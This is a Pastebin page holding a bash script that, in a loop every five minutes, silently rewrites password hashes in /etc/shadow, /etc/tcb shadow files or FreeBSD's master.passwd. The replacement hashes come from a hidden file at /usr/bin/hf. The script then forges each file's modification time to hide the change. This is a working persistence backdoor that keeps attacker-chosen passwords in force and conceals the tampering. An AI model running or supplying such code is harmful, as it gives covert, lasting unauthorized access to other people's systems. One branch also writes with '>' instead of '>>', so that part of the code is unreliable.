Advertisement
Guest User

Untitled

a guest
Jun 13th, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.19 KB | None | 0 0
  1. #!/bin/bash
  2. hf="/usr/bin/hf"
  3. replace_string()
  4. {
  5. if [ "$pass" != `echo $hfl | awk -F: '{print $2}'` ]; then
  6.     line=`echo $hfl`
  7. fi
  8. }
  9. date_linux()
  10. {
  11. ls $1 --full-time --time-style=+%y%m%d%H%M | awk '{print $6}'
  12. }
  13. date_bsd()
  14. {
  15. date=`ls -lT $1`
  16. year=`echo $date | awk '{print $9}'`
  17. month=`echo $date | awk '{print $6}'`
  18. day=`echo $date | awk '{print $7}'`
  19. time=`echo $date | awk '{print $8}'`
  20. time=`echo $time | awk -F: '{print $1$2}'`
  21. case $month in
  22. Jan) month="01" ;;
  23. янв) month="01" ;;
  24. Feb) month="02" ;;
  25. фев) month="02" ;;
  26. Mar) month="03" ;;
  27. мар) month="03" ;;
  28. Apr) month="04" ;;
  29. апр) month="04" ;;
  30. May) month="05" ;;
  31. май) month="05" ;;
  32. Jun) month="06" ;;
  33. июн) month="06" ;;
  34. Jul) month="07" ;;
  35. июл) month="07" ;;
  36. Aug) month="08" ;;
  37. авг) month="08" ;;
  38. Sep) month="09" ;;
  39. сен) month="09" ;;
  40. Oct) month="10" ;;
  41. окт) month="10" ;;
  42. Nov) month="11" ;;
  43. ноя) month="11" ;;
  44. Dec) month="12" ;;
  45. дек) month="12" ;;
  46. esac
  47. len=${#day}
  48. if [ "$len" = "1" ]; then day=`echo 0$day`
  49. fi
  50. echo $year$month$day$time
  51. }
  52. big_job()
  53. {
  54. while read line
  55. do
  56.     while read hfl
  57.     do
  58.         user=`echo $line | awk -F: '{print $1}'`
  59.         pass=`echo $line | awk -F: '{print $2}'`
  60.         if [ "$user" = `echo $hfl | awk -F: '{print $1}'` ]; then
  61.         replace_string
  62.         fi
  63.     done<$hf
  64.     echo $line>>pass.txt
  65. done<$f
  66. mv ./pass.txt $f
  67. touch -t$date $f
  68. }
  69. case `uname` in
  70. Linux)
  71. while true; do
  72. f="/etc/shadow"
  73. if `test -d /etc/tcb`;
  74. then
  75.     while read hfl
  76.     do
  77.         user=`echo $hfl | awk -F: '{print $1}'`
  78.         if `test -d /etc/tcb/$user`; then
  79.             f=`echo /etc/tcb/$user/shadow`
  80.             date=`date_linux $f`
  81.             while read line
  82.             do
  83.             pass=`echo $line | awk -F: '{print $2}'`
  84.             replace_string
  85.             echo $line>pass.txt
  86.             done<$f
  87.             mv ./pass.txt $f
  88.             chmod 640 $f
  89.             chown $user:auth $f
  90.             touch -t$date $f
  91.         fi
  92.     done<$hf
  93. else
  94.     date=`date_linux $f`
  95.     big_job
  96. fi
  97. sleep 5m
  98. done
  99. ;;
  100. FreeBSD)
  101. while true; do
  102. f="/etc/master.passwd"
  103. date=`date_bsd $f`
  104. big_job
  105. pwd_mkdb $f
  106. sleep 5m
  107. done
  108. ;;
  109. esac
  110. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement